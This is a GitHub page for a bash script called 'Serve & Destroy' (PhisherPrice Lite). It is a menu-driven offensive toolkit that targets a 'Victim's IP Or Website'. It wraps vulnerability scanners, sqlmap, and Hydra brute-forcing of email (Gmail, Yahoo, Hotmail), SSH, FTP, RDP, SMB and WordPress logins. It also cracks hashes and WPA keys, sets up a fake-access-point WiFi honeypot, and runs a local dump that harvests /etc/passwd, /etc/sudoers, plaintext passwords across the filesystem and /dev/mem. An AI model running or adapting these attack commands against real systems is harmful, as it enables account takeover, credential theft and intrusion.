forked from SirCryptic/snd
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsnd
More file actions
2112 lines (1833 loc) · 59.8 KB
/
snd
File metadata and controls
2112 lines (1833 loc) · 59.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
##############################
## Serve & Destroy ##
##############################
## Created By Sir Cryptic ##
##############################
## Developer Sir Cryptic ##
##############################
## NULL Security Team ##
## Greetz Mobly ##
## Greetz R!ff ##
##############################
##############################
## Developed On ##
## Kali Linux 2020.2b ##
## & ##
## Parrot OS ##
##############################
i="0"
clear
while [ $i -lt 1 ]
do
clear
#COLOUR
red='\e[1;31m'
yellow='\e[0;33m'
Blue='\e[1;34m'
Reset='\e[0;0m'
title="S&D"
echo -e '\033]2;'$title'\007'
echo -e '\e[1;33m
///, ////
\ /, / >.
\ /, _/ /.
\_ /_/ /.
\__/_ < PhisherPrice Lite
/<<< \_\_ Serve & Demolish
/,)^>>_._ \ Version 1.0.3 [BETA]
(/ \\ /\\\ [\e[3;31m PUBLIC \e[1;33m]
// //```
------((`((--------------------\e[0m\e[3;39m
(1) Scanners
(2) Cracking
(3) MSF Payload
(4) OSINT
(5) Other Tools
(i) Information \e[1;33m
------------------------------- \e[0m\e[3;39m
CTRL + C To Exit \e[1;33m
-------------------------------'
echo -e $Blue" ┌─["$red"S&D$Blue]──[$red~$Blue]─["$yellow"Main$Blue─"$yellow"Menu$Blue]"
read -p " └─────► " x
option1='1'
option2='2'
option3='3'
option4='4'
option5='5'
info='i'
quit='q'
if [ "$x" == "$option1" ]; then #Option1
clear
echo -e '\e[1;33m
///, ////
\ /, / >.
\ /, _/ /.
\_ /_/ /.
\__/_ < PhisherPrice Lite
/<<< \_\_ Serve & Demolish
/,)^>>_._ \ Version 1.0.3 [BETA]
(/ \\ /\\\ [\e[3;31m PUBLIC \e[1;33m]
// //```
------((`((--------------------\e[3;31m
Scanners \e[1;33m
------------------------------- \e[0m\e[3;39m
(1) Metasploit Nmap (w/Vuln Scan)
(2) Nikto Scan (Vuln Scan)
(3) Nmap Scan (w/OS Detection)
(4) SSLyze (Vuln Scan ~ Regular)
(5) Metasploit Heartbleed Scanner
(6) SQL Map
(7) Wapiti3
(8) DirSearch
(9) DNS Recon \e[1;33m
------------------------------- \e[0m\e[3;39m
CTRL + C To Exit \e[1;33m
------------------------------- \e[0m\e[3;39m
Press ENTER To Go To Main Menu \e[1;33m
------------------------------- \e[0m\e[3;39m'
echo -e $Blue" ┌─["$red"S&D$Blue]──[$red~$Blue]─["$yellow"Scanners$Blue]"
read -p " └─────► " x
submenu1='1'
submenu2='2'
submenu3='3'
submenu4='4'
submenu5='5'
submenu6='6'
submenu7='7'
submenu8='8'
submenu9='9'
if [ "$x" == "$submenu1" ]; then #submenu-Option-1
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
METASPLOIT VULNERABILITY SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
msfconsole -q -x "nmap -v --script vuln $r ;exit ;"
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu2" ]; then #submenu-Option-2
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
NIKTO VULNERABILITY SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
nikto -Display 1234EP -evasion 1 -Tuning 123bde -host $r
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu3" ]; then #submenu-Option-3
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
NMAP SCAN W/OS DETECTION
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
sudo nmap -Pn -O $r
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu4" ]; then #submenu-Option-4
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
SSL VULNERABILITY SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
sslyze --regular $r
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu5" ]; then #submenu-Option-5
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
HEARTBLEED VULNERABILITY SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
msfconsole -q -x "use auxiliary/scanner/ssl/openssl_heartbleed;set verbose true; set rhosts $r ; exploit ;exit ;"
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu6" ]; then #submenu-Option-6
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
SQLMAP SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
echo "This Will Audit Database's Automatically"
echo "Using Random User-Agents."
echo "Enter Domain Name Or IP"
read -p "~" sql1
echo "Database Type If You Know It, If Not Leave This Blank"
echo "Press Enter If You're Unsure"
read -p "~" db
echo "Level of tests to perform (1-5, default 1)"
read levelt
echo "Risk of tests to perform (1-3, default 1)"
read -p "~" risksl
echo "SQL injection techniques to use (default : BEUSTQ)"
echo "Press Enter To Leave Default"
read -p "~" techskill
echo -e '\e[0;31m-------------------------------\e[0;39m'
sqlmap --dbms=$db --forms --crawl=2 --level=$levelt --risk=$risksl --random-agent --all --technique=$techskill -u $sql1
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu7" ]; then #submenu-Option-7
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
WAPITI3 VULNERABILITY SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "please choose http or https ?"
echo -e '\e[0;31m-------------------------------'
read -p "~" suredid
echo -e '\e[0;31m-------------------------------\e[1;34m'
echo "Victim's Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
wapiti -u $suredid://$r/
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu8" ]; then #submenu-Option-8
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
DIRECTORY SEARCH SCAN
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
cd&&cd dirsearch&&python3 dirsearch.py -u $r -e php,txt,zip,java,js,html,css
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
elif [ "$x" == "$submenu9" ]; then #submenu-Option-10
clear
echo -e '\e[0;31m-------------------------------\e[1;33m
DNS RECON
\e[0;31m-------------------------------\e[1;34m'
echo "Victim's IP Or Website:"
echo -e '\e[0;31m-------------------------------'
read -p "~" r
echo -e '\e[0;31m-------------------------------\e[0;39m'
dnsrecon -d $r
echo ' '
echo ' Press ENTER to Main Menu '
echo ' '
read
else
n
fi
elif [ "$x" == "$option2" ]; then #Option2
clear
echo -e '\e[1;33m
///, ////
\ /, / >.
\ /, _/ /.
\_ /_/ /.
\__/_ < PhisherPrice Lite
/<<< \_\_ Serve & Demolish
/,)^>>_._ \ Version 1.0.3 [BETA]
(/ \\ /\\\ [\e[3;31m PUBLIC \e[1;33m]
// //```
------((`((--------------------\e[3;31m
Cracking / Brute Force \e[1;33m
------------------------------- \e[0m\e[3;39m
(1) Auto-Brute (Hydra)
(2) John-The-Ripper
(3) Hash-Identifier
(4) Hashcat
(5) Aircrack-ng (Crack Wifi Pass)
(6) Start sqldict
(7) Wifi Honey Pot Cracker
(8) Just Dump It
(9) Show Users Without A Password \e[1;33m
------------------------------- \e[0m\e[3;39m
CTRL + C To Exit \e[1;33m
------------------------------- \e[0m\e[3;39m
Press ENTER To Go To Main Menu \e[1;33m
------------------------------- \e[0m\e[3;39m'
echo -e $Blue" ┌─["$red"S&D$Blue]──[$red~$Blue]─["$yellow"Cracking$Blue]"
read -p " └─────► " x
subf='1'
subg='2'
subh='3'
subi='4'
subj='5'
subk='6'
honeywhy='7'
dumpitall='8'
nopass='9'
if [ "$x" == "$subf" ]; then #Sub-Option-f
clear
echo -e '\e[1;33m
///, ////
\ /, / >.
\ /, _/ /.
\_ /_/ /.
\__/_ < PhisherPrice Lite
/<<< \_\_ Serve & Demolish
/,)^>>_._ \ Version 1.0.3 [BETA]
(/ \\ /\\\ [\e[3;31m PUBLIC \e[1;33m]
// //```
------((`((--------------------\e[3;31m
Hydra Auto-Brute \e[1;33m
------------------------------- \e[0m\e[3;39m
(1) Email Crack (SMTP)
(2) SNMP Brute Force
(3) FTP Brute Force
(4) SSH Brute Force
(5) SSH Brute Force (port 22)
(6) POP3 Brute Force
(7) HTTP 401 Brute Force
(8) Windows RDP Brute Force
(9) SMB Brute Force
(10) WP AUTO BRUTE \e[1;33m
------------------------------- \e[0m\e[3;39m
CTRL + C To Exit \e[1;33m
------------------------------- \e[0m\e[3;39m
Press ENTER To Go To Main Menu \e[1;33m
------------------------------- \e[0m\e[3;39m'
echo -e $Blue" ┌─["$red"S&D$Blue]──[$red~$Blue]─["$yellow"Hydra$Blue]"
read -p " └─────► " x
hynull1='1'
hynull2='2'
hynull3='3'
hynull4='4'
hynull5='5'
hynull6='6'
hynull7='7'
hynull8='8'
newoption1='9'
HYDRAWPAUTOBRUTE='10'
if [ "$x" == "$hynull1" ]; then #hynull-Option-1
clear
echo -e '\e[1;33m
Email Crack\e[1;34m
'
echo "Simple Email Cracking Script Using Hydra."
echo "Written By: NULLSec"
echo "NOTE: Make sure you have wordlists!"
echo "Let us Begin:"
echo "Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:"
read smtp
echo "Enter Email Address:"
read email
echo "Provide Directory of Wordlist for Passwords:"
read wordlist
clear
hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp
read
elif [ "$x" == "$hynull2" ]; then #hynull-Option-2
clear
echo -e '\e[1;33m
SNMP Brute Force \e[1;34m
'
echo "Enter The Password List Location"
read hydrasnmppass
echo "Enter The Host IP Address of SNMP Server"
read hydraip
hydra -P $hydrasnmppass -v $hydraip snmp
read
elif [ "$x" == "$hynull3" ]; then #hynull-Option-3
clear
echo -e '\e[1;33m
FTP Brute Force\e[1;34m
'
echo "Enter Known User"
read hydrauser1
echo "Enter The Password List Location:"
read hydrapasslist1
echo "Enter The IP Address"
read hydraip1
hydra -t 1 -l $hydrauser1 -P $hydrapasslist1 -vV $hydraip1 ftp
read
elif [ "$x" == "$hynull4" ]; then #hynull-Option-4
clear
echo -e '\e[1;33m
SSH Brute Force \e[1;34m
'
echo "Enter Your User List Location"
read hydrauser2
echo "Enter The Password List Location:"
read hydrapasslist2
echo "Enter The IP Address"
read hydraip2
hydra -v -V -u -L $hydrauser2 -P $hydrapasslist2 -t 1 -u $hydraip2 ssh
read
elif [ "$x" == "$hynull5" ]; then #hynull-Option-5
clear
echo -e '\e[1;33m
SSH Brute Force P22\e[1;34m
'
echo "Enter Your Known User"
read hydrauser3
echo "Enter The Password List Location:"
read hydrapasslist3
echo "Enter The IP Address"
read hydraip3
hydra $hydraip3 -s 22 ssh -l $hydrauser3 -P $hydrapasslist3
read
elif [ "$x" == "$HYDRAWPAUTOBRUTE" ]; then #hynull-Option-9
clear
echo "Hydra WP Auto Brute"
echo "Url (ex:target.com) : http://"
read url
echo "Path (ex:/wp-login.php) : "
read path
echo "User (ex:admin or /path/wordlist.txt) : "
read user
echo "Pass (ex:12345 or /path/wordlist.txt) : "
read pass
echo "Bad Login (ex:wrong) : "
read bad
echo "Parameter (ex:username=^USER^&password=^PASS^) : "
read parameter
sleep 1
echo "[+] Execute : http://$url/$path"
sleep 0.5
echo "[+] User : $user"
sleep 0.5
echo "[+] Pass : $pass"
sleep 0.5
echo "[+] Bad Login : $bad"
sleep 0.5
echo "[+] Parameter : $parameter"
sleep 0.5
hydra -I $url http-post-form $path:$parameter:$bad -l $user -P $pass
read
elif [ "$x" == "$hynull6" ]; then #hynull-Option-6
clear
echo -e '\e[1;33m
POP3 Brute Force \e[1;34m
'
echo "Enter Your Known User Or UserList"
read hydrauser4
echo "Enter The Password List Location:"
read hydrapasslist4
echo "Enter The IP Address"
read hydraip4
hydra -l $hydrauser4 -P $hydrapasslist4 -f $hydraip4 pop3 -V
read
elif [ "$x" == "$hynull7" ]; then #hynull-Option-7
clear
echo -e '\e[1;33m
401 Brute Force \e[1;34m
'
echo "Enter Your Known User Or UserList"
read hydrauser5
echo "Enter The Password List Location:"
read hydrapasslist5
echo "Enter The IP Address"
read hydraip5
echo "enter the 401 Login"
read hyhost
hydra -L $hydrauser5 -P $hydrapasslist5 $hydraip5 http-get /$hyhost
read
elif [ "$x" == "$hynull8" ]; then #hynull-Option-8
clear
echo -e '\e[1;33m
RDP Brute Force \e[1;34m
'
echo "Enter Your Known User Or UserList"
read hydrauser8
echo "Enter The Password List Location:"
read hydrapasslist8
echo "Enter The IP Address"
read hydraip8
hydra -t 1 -V -f -l $hydrauser8 -P $hydrapasslist8 rdp://$hydraip8
read
elif [ "$x" == "$newoption1" ]; then #hynull-Option-9
clear
echo -e '\e[1;33m
SMB Brute Force \e[1;34m
'
echo "Enter Your Known User Or UserList"
read hydrauser9
echo "Enter The Password List Location:"
read hydrapasslist9
echo "Enter The IP Address"
read hydraip9
hydra -t 1 -V -f -l $hydrauser9 -P $hydrapasslist9 $hydraip9 smb
read
else
n
fi
elif [ "$x" == "$subg" ]; then #Sub-Option-g
echo "enter your wordlist eg :/usr/share/john/password.lst"
read jwords
echo "Enter File Location eg: /usr/john/Documents/unshadowed.txt"
read $jfiles
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!Gathering Information About Host!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
john --wordlist=$jwords --rules $jfiles
read
elif [ "$x" == "$subh" ]; then #Sub-Option-h
clear
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!! CTRL + C TO QUIT !!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
hash-identifier
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! Good Bye !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
read
elif [ "$x" == "$subi" ]; then #Sub-Option-i
clear
echo -e '\e[1;33m
HASHCAT\e[1;34m
'
echo "Enter Hash Type: 500 = md5crypt"
read encmode
echo "Enter Hash Hocation eg: /usr/share/me/example500.hash"
read hashtype
echo "Enter Wordlist Location eg: /usr/share/wordlists/sqlmap.txt"
read hashpass1
clear
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! Attempting to Crack Hash Type !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
hashcat -m $encmode $hashtype $hashpass1
read
elif [ "$x" == "$subj" ]; then #Sub-Option-j
clear
echo -e '\e[1;33m
AIRCRACK-NG \e[1;34m
'
echo "Enter Password List Location"
read wifirip
echo "Enter filename.cap location"
read subopi
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!! Attempting to Crack WPA !!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
aircrack-ng -w $wifirip $subopi
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! DID WE DO IT ? !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
read
elif [ "$x" == "$subk" ]; then #Sub-Option-k
clear
echo -e '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! Launching SQLdict !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'
sqldict
read
elif [ "$x" == "$honeywhy" ]; then #hynull-Option-9
clear
# Get user dictionary
echo -n "Enter the directory along with the wordlist name and extension"
read dictpass
# Get wireless interface
echo -n "Enter wireless interface (e.g. wlan1 or wlan0): "
read iface
# Put wireless interface into monitor mode
echo "Putting wireless interface into monitor mode..."
ip link set dev $iface down
macchanger -r $iface
ip link set dev $iface up
airmon-ng start $iface
# Get target ESSID and channel
echo -n "Enter target ESSID: "
read essid
echo -n "Enter target channel: "
read ch
# Create four fake access points
echo "Creating four fake access points with name $essid..."
xterm -hold -e "airbase-ng --essid $essid -a aa:aa:aa:aa:aa:aa -c $ch mon0" &
pid1=$!
xterm -hold -e "airbase-ng --essid $essid -a bb:bb:bb:bb:bb:bb -c $ch mon0 -W 1" &
pid2=$!
xterm -hold -e "airbase-ng --essid $essid -a cc:cc:cc:cc:cc:cc -c $ch mon0 -W 1 -z 2" &
pid3=$!
xterm -hold -e "airbase-ng --essid $essid -a dd:dd:dd:dd:dd:dd -c $ch mon0 -W 1 -Z 4" &
pid4=$!
# Capture and save handshake
echo -n "Enter a name for the output file: "
read fname
xterm -hold -e "airodump-ng --channel $ch --write $fname mon0" &
pid5=$!
# Attempt to crack the password
echo "Attempting to crack password using a strong dictionary..."
aircrack-ng -w $dictpass $fname-01.cap
# Cleanup
echo "Cleaning up..."
kill $pid1 $pid2 $pid3 $pid4 $pid5
airmon-ng stop mon0
read
elif [ "$x" == "$dumpitall" ]; then #hynull-Option-9
# A modified version of Gary Hooks' work sys_info.sh:
# Original Author: Gary Hooks
# Web: http://www.twintel.co.uk
# Supporting input from:
# MYero
# JGuz
# SANDFLY SECURITY Linux Compromise Assessment Cmd Cheat Sheet
# Publish Date: 13th May 2020
# Version: 1.2
# Licence: GNU GPL
current_time=$(date "+%Y.%m.%d-%H.%M.%S")
folderName="${current_time}_Linux_Data_Dump"
mkdir "$folderName"
OutputFileName="${current_time}_Linux_Data_Dump.rtf"
DEL_RUNNING="\b\b\b\b\b\b\b\b"
CLEAR_EOL=$(tput el)
# First Param: System Name
# Second Param: String describing the overall contents of the file
# Example Useage: insertHeader "MaxEdge" "Passwords in clear text"
function insertHeader()
{
printf "########################################################################\n" | tee -a $CURRENT_FILE
printf "### Linux Data Dump ###\n" | tee -a $CURRENT_FILE
printf "### $1 ###\n" | tee -a $CURRENT_FILE
printf "### $2 ###\n" | tee -a $CURRENT_FILE
printf "########################################################################\n\n" | tee -a $CURRENT_FILE
}
# First Param: Subsection title
# Example usage: insertPartition "ARP Tables"
function insertPartition()
{
printf -- "\n----------------------------$1----------------------------------------\n" | tee -a $CURRENT_FILE
}
# First Param: String with Descriptive Title
# Second Param: String with actual command
# Example Usage: runTest "List of Files in Current Folder" "ls -lah"
function runTest()
{
NAME_OF_TEST=$1
COMMAND_TO_RUN=$2
printf "$1 - Running"
insertPartition $1
printf "($2)\n" >> $CURRENT_FILE
eval $2 >> $CURRENT_FILE
printf "\n\n" >> $CURRENT_FILE
printf "$DEL_RUNNING Saved$CLEAR_EOL\n"
}
echo "Project Name: "
read projectName
##++++++++++++++++ System Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/system_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "General_Information"
runTest "Host_Name" "hostname"
runTest "Host_IP" "hostname -I"
runTest "Domain_Name" "domainname"
runTest "Connectivity_Check" "ping -c 4 8.8.8.8"
runTest "Who_Am_I" "whoami"
runTest "Uptime" "uptime"
runTest "System_Name_&_Version" "uname -a"
COMMAND_STRING='lsb_release -a 2>/dev/null | grep -E "Distributor|Description|Release"'
insertPartition "Distributer,_Description,_Release"
printf "($COMMAND_STRING)\n" >> $CURRENT_FILE
eval $COMMAND_STRING >> $CURRENT_FILE
printf "\n\n" >> $CURRENT_FILE
runTest "Logged_In_Users" "who -a"
#Last Logins list length; Full List: last -a;
runTest "Last_10_Logins" "last -a | head -10"
runTest "Currently_Connected" "w"
runTest "List_User_Accounts" "cat /etc/passwd"
runTest "List_Sudoers_File" "cat /etc/sudoers"
runTest "Available_Shells" "cat /etc/shells | tail -n +2"
runTest "Environment_Variables" "env"
##++++++++++++++++ Memory Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/memory_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Storage_&_Memory_Data"
runTest "Block_&_Storage_Devices" "lsblk -a"
runTest "Find_Mounted_Filesystems" "findmnt -A"
runTest "File_System_&_Partitions" "df -h"
runTest "Ram_Info" "free -m"
runTest "Memory_Info" "cat /proc/meminfo"
runTest "Find_Hiden_Directories" 'find / -type d -name".*"'
##++++++++++++++++ Network Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/network_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Network_Info"
runTest "Host_Name" "hostname"
runTest "Domain_Name" "domainname"
runTest "Connectivity_Check" "ping -c 4 8.8.8.8"
runTest "Interface_Information(IFCONFIG)" "ifconfig -a"
runTest "Interface_Information(IP)" "ip address"
runTest "Routing_Table" "route -n"
runTest "IP_Tables" "iptables -t nat -vnL"
runTest "ARP_Table" "arp -a"
runTest "Net_Stat_(all)" "netstat -a"
runTest "Net_Stat_(Listening)" "netstat -lapn"
runTest "Listening_Ports" "ss -lntu"
runTest "Current_Connections" "ss -s"
runTest "Resolve_Conf" "cat /etc/resolv.conf"
###runTest "Firewall_Rules" "firewall-cmd --list-all"
runTest "UFW_Firewall_Rules_Verbose" "ufw status verbose"
runTest "UFW_Firewall_Rules_Numbered" "ufw status numbered"
##++++++++++++++++ Hardware Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/hardware_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Hardware_Info"
runTest "CPU_Info" "lscpu"
insertPartition "Device_List"
row_count=$(lspci | wc -l)
for (( c=1; c<=${row_count}; c++ ))
do
lspci| sed "${c}q;d" | cut -c 9- | tee -a $CURRENT_FILE
done
runTest "PCI_Devices" "lspci"
runTest "PCI_Devices_(Detailed)" "lspci -v"
runTest "USB_Devices" "lsusb"
runTest "USB_Devices_(Detailed)" "lsusb -v"
###runTest "Dmesg_Info" "dmesg"
##++++++++++++++++ Software Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/software_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Software_Info"
insertPartition "Common_Packages"
#checks if packages in the list are installed and tells thier version
packages=("python" "python3" "mysql" "ruby" "perl" "bash" "ssh" "telnet")
#packages can be added above to search more packages
for i in "${packages[@]}"
do
version=$(apt-cache show $i 2>/dev/null | grep -m 1 Version | wc -l )
DETAIL="NOT INSTALLED"
if [ $version == 1 ]
then #if the package is installed, show the version
DETAIL=$(apt-cache show $i 2>/dev/null | grep -m 1 Version | awk '{ printf "VERSION:" $2 "\n" }' )
fi
printf "PACKAGE:${i}\t $DETAIL \n" | tee -a $CURRENT_FILE
done
runTest "Loadable_Kernel_Modules" "lsmod"
runTest "Startup_Programs" "ls -lah /etc/init.d/"
runTest "Installed_Programs" "apt list --installed"
runTest "Services_Programs" "service --status-all"
runTest "Systemctl_Programs" "systemctl status --all"
##++++++++++++++++ Process Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/process_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Process Info"
runTest "Top_5_CPU_Processes" "ps auxwwwf | sort -nr -k 3 | head -5"
runTest "Top_5_Mem_Processes" "ps auxwwwf | sort -nr -k 4 | head -5"
runTest "Current_Processes" "ps auxwwwf"
runTest "Directory_of_Running_Processes" "ls -l /proc/*/cwd"
runTest "Executable_of_Running_Processes" "ls -l /proc/*/exe"
runTest "Arguements_of_Running_Processes" "grep -a ^ /proc/*/cmdline"
runTest "Deleted_Binaries_Still_Running" "ls -aIR /proc/*/exe 2>/dev/null | grep deleted"
# Running from tmp and dev need more testing/verification of functionality
runTest "Proccesses Running From tmp" "ls -aIR /proc/*/cwd 2>/dev/null | grep tmp"
runTest "Proccesses Running From dev" "ls -aIR /proc/*/cwd 2>/dev/null | grep dev"
runTest "Cmd_History_Files" "find / -name *.history"
runTest "Cmd_History" "history"
##++++++++++++++++ Password Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/password_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Passwords"
#This search for clear text passwords TAKES A LONG TIME
COMMAND_STRING='grep -rnw "/" -ie "PASSWORD" 2> /dev/null'
insertPartition "Clear_Text_Passwords"
printf "($COMMAND_STRING)\n" >> $CURRENT_FILE
eval $COMMAND_STRING >> $CURRENT_FILE
printf "\n\n" >> $CURRENT_FILE
runTest "More_Clear_Text_Passwords" 'find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;'
runTest "Passwords_In_Memory" 'strings /dev/mem -n10 | grep -i PASS'
##++++++++++++++++ Misc Data.rtf+++++++++++++++++++++++
CURRENT_FILE=$folderName/misc_data.rtf
touch $CURRENT_FILE
insertHeader $projectName "Misc_Data"
runTest "SUID_Binaries" "find / -perm -4000 -type f -exec ls -la {} 2>/dev/null"
runTest "SGID_Binaries" "find / -perm -2000 -type f -exec ls -la {} 2>/dev/null"
runTest "Binaries_Of_Interest" "find / -uid 0 -perm -4000 -type f 2>/dev/null"
